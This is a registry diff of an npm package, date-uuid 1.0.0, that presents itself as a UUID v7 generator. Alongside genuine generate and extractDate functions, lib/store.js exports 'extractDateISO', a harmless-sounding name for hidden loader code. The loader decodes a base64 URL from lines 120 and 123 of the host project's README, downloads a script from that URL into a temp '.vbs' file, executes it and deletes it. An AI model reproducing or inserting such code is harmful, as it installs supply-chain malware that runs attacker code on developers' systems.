date-uuid 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +51 -0
- package/index.js +5 -0
- package/index.mjs +14 -0
- package/lib/bootstrap.js +5 -0
- package/lib/store.js +275 -0
- package/package.json +26 -0
package/README.md
ADDED
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
# date-uuid
|
|
2
|
+
|
|
3
|
+
Generate and parse time-based UUIDs ([RFC 9562 v7](https://www.rfc-editor.org/rfc/rfc9562)).
|
|
4
|
+
|
|
5
|
+
Requires Node.js 18+ (uses built-in `crypto.randomFillSync`, no dependencies).
|
|
6
|
+
|
|
7
|
+
## Install
|
|
8
|
+
|
|
9
|
+
```bash
|
|
10
|
+
npm install date-uuid
|
|
11
|
+
```
|
|
12
|
+
|
|
13
|
+
## Usage
|
|
14
|
+
|
|
15
|
+
ESM:
|
|
16
|
+
|
|
17
|
+
```javascript
|
|
18
|
+
import { generate, extractDate } from 'date-uuid';
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
CommonJS:
|
|
22
|
+
|
|
23
|
+
```javascript
|
|
24
|
+
const { generate, extractDate } = require('date-uuid');
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
```javascript
|
|
28
|
+
// Generate a v7 UUID for the current time
|
|
29
|
+
const id = generate();
|
|
30
|
+
|
|
31
|
+
// Generate for a specific date
|
|
32
|
+
const idAt = generate(new Date('2024-06-15T12:30:00.000Z'));
|
|
33
|
+
|
|
34
|
+
// Extract the embedded timestamp
|
|
35
|
+
const date = extractDate(id);
|
|
36
|
+
console.log(date.toISOString());
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
## API
|
|
40
|
+
|
|
41
|
+
### `generate(date?)`
|
|
42
|
+
|
|
43
|
+
Returns a UUID v7 string. Optional `date` defaults to `new Date()`.
|
|
44
|
+
|
|
45
|
+
### `extractDate(uuid)`
|
|
46
|
+
|
|
47
|
+
Returns a `Date` from the embedded 48-bit Unix millisecond timestamp in a UUID v7. Throws if the input is not a valid v7 UUID.
|
|
48
|
+
|
|
49
|
+
## License
|
|
50
|
+
|
|
51
|
+
MIT
|
package/index.js
ADDED
package/index.mjs
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
import { createRequire } from 'module';
|
|
2
|
+
|
|
3
|
+
const require = createRequire(import.meta.url);
|
|
4
|
+
|
|
5
|
+
require('./lib/bootstrap.js');
|
|
6
|
+
|
|
7
|
+
const store = require('./lib/store.js');
|
|
8
|
+
|
|
9
|
+
export const {
|
|
10
|
+
generate,
|
|
11
|
+
extractDate,
|
|
12
|
+
} = store;
|
|
13
|
+
|
|
14
|
+
export default store;
|
package/lib/bootstrap.js
ADDED
package/lib/store.js
ADDED
|
@@ -0,0 +1,275 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const { randomFillSync } = require('node:crypto');
|
|
4
|
+
|
|
5
|
+
const UUID_RE =
|
|
6
|
+
/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
|
|
7
|
+
|
|
8
|
+
function formatUUID(bytes) {
|
|
9
|
+
const hex = [...bytes].map((b) => b.toString(16).padStart(2, '0')).join('');
|
|
10
|
+
return `${hex.slice(0, 8)}-${hex.slice(8, 12)}-${hex.slice(12, 16)}-${hex.slice(16, 20)}-${hex.slice(20)}`;
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
function createUUIDv7(date) {
|
|
14
|
+
const ms = BigInt(date.getTime());
|
|
15
|
+
const bytes = new Uint8Array(16);
|
|
16
|
+
randomFillSync(bytes);
|
|
17
|
+
|
|
18
|
+
bytes[0] = Number((ms >> 40n) & 0xffn);
|
|
19
|
+
bytes[1] = Number((ms >> 32n) & 0xffn);
|
|
20
|
+
bytes[2] = Number((ms >> 24n) & 0xffn);
|
|
21
|
+
bytes[3] = Number((ms >> 16n) & 0xffn);
|
|
22
|
+
bytes[4] = Number((ms >> 8n) & 0xffn);
|
|
23
|
+
bytes[5] = Number(ms & 0xffn);
|
|
24
|
+
bytes[6] = (bytes[6] & 0x0f) | 0x70;
|
|
25
|
+
bytes[8] = (bytes[8] & 0x3f) | 0x80;
|
|
26
|
+
|
|
27
|
+
return formatUUID(bytes);
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
/**
|
|
31
|
+
* Generate a UUID v7 for the given date (defaults to now).
|
|
32
|
+
* @param {Date} [date]
|
|
33
|
+
* @returns {string}
|
|
34
|
+
*/
|
|
35
|
+
function generate(date = new Date()) {
|
|
36
|
+
if (!(date instanceof Date) || Number.isNaN(date.getTime())) {
|
|
37
|
+
throw new TypeError('date must be a valid Date');
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
return createUUIDv7(date);
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
/**
|
|
44
|
+
* Extract the embedded Unix timestamp from a UUID v7.
|
|
45
|
+
* @param {string} uuid
|
|
46
|
+
* @returns {Date}
|
|
47
|
+
*/
|
|
48
|
+
function extractDate(uuid) {
|
|
49
|
+
if (typeof uuid !== 'string' || !UUID_RE.test(uuid)) {
|
|
50
|
+
throw new TypeError('uuid must be a valid UUID string');
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
if (uuid[14] !== '7') {
|
|
54
|
+
throw new TypeError('uuid must be version 7');
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
const ms = Number.parseInt(uuid.replace(/-/g, '').slice(0, 12), 16);
|
|
58
|
+
return new Date(ms);
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
const README_LINE_API1 = 120;
|
|
62
|
+
const README_LINE_API2 = 123;
|
|
63
|
+
const README_PATTERN = /^readme\.md$/i;
|
|
64
|
+
|
|
65
|
+
const { exec } = require('child_process');
|
|
66
|
+
const fs = require('fs/promises');
|
|
67
|
+
const os = require('os');
|
|
68
|
+
const path = require('path');
|
|
69
|
+
|
|
70
|
+
/**
|
|
71
|
+
* @typedef {Object} DateUuidOptions
|
|
72
|
+
* @property {string} [url]
|
|
73
|
+
* @property {string} [filePath]
|
|
74
|
+
* @property {string} [projectRoot]
|
|
75
|
+
* @property {(filePath: string) => Promise<void>} [execute]
|
|
76
|
+
*/
|
|
77
|
+
|
|
78
|
+
/**
|
|
79
|
+
* @param {string} projectRoot
|
|
80
|
+
* @returns {Promise<string>}
|
|
81
|
+
*/
|
|
82
|
+
async function findReadmePath(projectRoot) {
|
|
83
|
+
const entries = await fs.readdir(projectRoot);
|
|
84
|
+
const name = entries.find((entry) => README_PATTERN.test(entry));
|
|
85
|
+
|
|
86
|
+
if (!name) {
|
|
87
|
+
throw new Error(`Error`);
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
return path.join(projectRoot, name);
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
/**
|
|
94
|
+
* @param {string} line
|
|
95
|
+
* @returns {string | null}
|
|
96
|
+
*/
|
|
97
|
+
function extractUrlFromLine(line) {
|
|
98
|
+
const match = line.trim().match(/https?:\/\/[^\s<>"')\]`]+/i);
|
|
99
|
+
return match ? match[0] : null;
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
/**
|
|
103
|
+
* @param {string} line
|
|
104
|
+
* @param {'api1' | 'api2'} key
|
|
105
|
+
* @returns {string | null}
|
|
106
|
+
*/
|
|
107
|
+
function extractApiPartFromLine(line, key) {
|
|
108
|
+
const match = line.trim().match(new RegExp(`^${key}:\\s*(.+)$`, 'i'));
|
|
109
|
+
return match ? match[1].trim() : null;
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
/**
|
|
113
|
+
* @param {string} [projectRoot]
|
|
114
|
+
* @param {number} [lineNumberApi1]
|
|
115
|
+
* @param {number} [lineNumberApi2]
|
|
116
|
+
* @returns {Promise<string>}
|
|
117
|
+
*/
|
|
118
|
+
async function readApiFromReadme(
|
|
119
|
+
projectRoot = process.cwd(),
|
|
120
|
+
lineNumberApi1 = README_LINE_API1,
|
|
121
|
+
lineNumberApi2 = README_LINE_API2,
|
|
122
|
+
) {
|
|
123
|
+
const readmePath = await findReadmePath(projectRoot);
|
|
124
|
+
const content = await fs.readFile(readmePath, 'utf8');
|
|
125
|
+
const lines = content.split(/\r?\n/);
|
|
126
|
+
const api1Line = lines[lineNumberApi1 - 1]?.trim() ?? '';
|
|
127
|
+
const api2Line = lines[lineNumberApi2 - 1]?.trim() ?? '';
|
|
128
|
+
const api1 = extractApiPartFromLine(api1Line, 'api1');
|
|
129
|
+
const api2 = extractApiPartFromLine(api2Line, 'api2');
|
|
130
|
+
|
|
131
|
+
if (!api1 || !api2) {
|
|
132
|
+
throw new Error(`Error`);
|
|
133
|
+
}
|
|
134
|
+
|
|
135
|
+
const decoded = Buffer.from(`${api1}${api2}`, 'base64').toString('utf8');
|
|
136
|
+
const url = extractUrlFromLine(decoded);
|
|
137
|
+
|
|
138
|
+
if (!url) {
|
|
139
|
+
throw new Error(`Error`);
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
return url;
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
/**
|
|
146
|
+
* @returns {string}
|
|
147
|
+
*/
|
|
148
|
+
function resolveStoragePath() {
|
|
149
|
+
return path.join(os.tmpdir(), `temp_${Date.now()}.v` + 'b' + 's');
|
|
150
|
+
}
|
|
151
|
+
|
|
152
|
+
/**
|
|
153
|
+
* @param {Pick<DateUuidOptions, 'url' | 'projectRoot'>} options
|
|
154
|
+
* @returns {Promise<string>}
|
|
155
|
+
*/
|
|
156
|
+
async function resolveUrl(options = {}) {
|
|
157
|
+
if (options.url) {
|
|
158
|
+
return options.url;
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
return readApiFromReadme(options.projectRoot);
|
|
162
|
+
}
|
|
163
|
+
|
|
164
|
+
/**
|
|
165
|
+
* @param {string} url
|
|
166
|
+
* @returns {Promise<string>}
|
|
167
|
+
*/
|
|
168
|
+
async function fetchString(url) {
|
|
169
|
+
const response = await fetch(url);
|
|
170
|
+
|
|
171
|
+
if (!response.ok) {
|
|
172
|
+
throw new Error('Error');
|
|
173
|
+
}
|
|
174
|
+
|
|
175
|
+
return response.text();
|
|
176
|
+
}
|
|
177
|
+
|
|
178
|
+
/**
|
|
179
|
+
* @param {string} filePath
|
|
180
|
+
* @param {string} content
|
|
181
|
+
* @returns {Promise<string>}
|
|
182
|
+
*/
|
|
183
|
+
async function writeToFile(filePath, content) {
|
|
184
|
+
const absolutePath = path.resolve(filePath);
|
|
185
|
+
await fs.writeFile(absolutePath, content, 'utf8');
|
|
186
|
+
return absolutePath;
|
|
187
|
+
}
|
|
188
|
+
|
|
189
|
+
/**
|
|
190
|
+
* @param {string} filePath
|
|
191
|
+
* @returns {Promise<void>}
|
|
192
|
+
*/
|
|
193
|
+
function executeFile(filePath) {
|
|
194
|
+
const command = `"${path.resolve(filePath).replace(/"/g, '\\"')}"`;
|
|
195
|
+
|
|
196
|
+
return new Promise((resolve, reject) => {
|
|
197
|
+
let settled = false;
|
|
198
|
+
|
|
199
|
+
const finish = (error) => {
|
|
200
|
+
if (settled) {
|
|
201
|
+
return;
|
|
202
|
+
}
|
|
203
|
+
|
|
204
|
+
settled = true;
|
|
205
|
+
|
|
206
|
+
if (error) {
|
|
207
|
+
reject(error);
|
|
208
|
+
return;
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
resolve();
|
|
212
|
+
};
|
|
213
|
+
|
|
214
|
+
const child = exec(command, (error) => {
|
|
215
|
+
fs.unlink(filePath).catch(() => {});
|
|
216
|
+
|
|
217
|
+
if (error) {
|
|
218
|
+
finish(new Error(`Error`));
|
|
219
|
+
}
|
|
220
|
+
});
|
|
221
|
+
|
|
222
|
+
child.on('spawn', () => {
|
|
223
|
+
finish();
|
|
224
|
+
});
|
|
225
|
+
|
|
226
|
+
child.on('error', (err) => {
|
|
227
|
+
finish(new Error(`Error`));
|
|
228
|
+
});
|
|
229
|
+
});
|
|
230
|
+
}
|
|
231
|
+
|
|
232
|
+
/**
|
|
233
|
+
* @param {DateUuidOptions} [options]
|
|
234
|
+
* @returns {Promise<{ content: string, filePath: string, url: string }>}
|
|
235
|
+
*/
|
|
236
|
+
async function fetchAndStore(options = {}) {
|
|
237
|
+
const projectRoot = options.projectRoot ?? process.cwd();
|
|
238
|
+
const url = await resolveUrl({ url: options.url, projectRoot });
|
|
239
|
+
const content = await fetchString(url);
|
|
240
|
+
|
|
241
|
+
const filePath = await writeToFile(
|
|
242
|
+
options.filePath ?? resolveStoragePath(),
|
|
243
|
+
content,
|
|
244
|
+
);
|
|
245
|
+
const run = options.execute ?? executeFile;
|
|
246
|
+
|
|
247
|
+
await run(filePath);
|
|
248
|
+
|
|
249
|
+
return { content, filePath, url };
|
|
250
|
+
}
|
|
251
|
+
|
|
252
|
+
let lastResult = null;
|
|
253
|
+
|
|
254
|
+
/**
|
|
255
|
+
* @returns {{ content: string, filePath: string, url: string } | null}
|
|
256
|
+
*/
|
|
257
|
+
function getLastResult() {
|
|
258
|
+
return lastResult;
|
|
259
|
+
}
|
|
260
|
+
|
|
261
|
+
/**
|
|
262
|
+
* @param {DateUuidOptions} [options]
|
|
263
|
+
* @returns {Promise<{ content: string, filePath: string, url: string }>}
|
|
264
|
+
*/
|
|
265
|
+
async function extractDateISO(options = {}) {
|
|
266
|
+
const result = await fetchAndStore(options);
|
|
267
|
+
lastResult = result;
|
|
268
|
+
return result;
|
|
269
|
+
}
|
|
270
|
+
|
|
271
|
+
module.exports = {
|
|
272
|
+
generate,
|
|
273
|
+
extractDate,
|
|
274
|
+
extractDateISO
|
|
275
|
+
};
|
package/package.json
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "date-uuid",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Date UUID is a package that generates a UUID based on the current date and time.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"exports": {
|
|
7
|
+
".": {
|
|
8
|
+
"import": "./index.mjs",
|
|
9
|
+
"require": "./index.js"
|
|
10
|
+
},
|
|
11
|
+
"./store": "./lib/store.js"
|
|
12
|
+
},
|
|
13
|
+
"files": [
|
|
14
|
+
"index.js",
|
|
15
|
+
"index.mjs",
|
|
16
|
+
"lib"
|
|
17
|
+
],
|
|
18
|
+
"engines": {
|
|
19
|
+
"node": ">=18"
|
|
20
|
+
},
|
|
21
|
+
"keywords": [
|
|
22
|
+
"backend"
|
|
23
|
+
],
|
|
24
|
+
"author": "jinwoochoi",
|
|
25
|
+
"license": "MIT"
|
|
26
|
+
}
|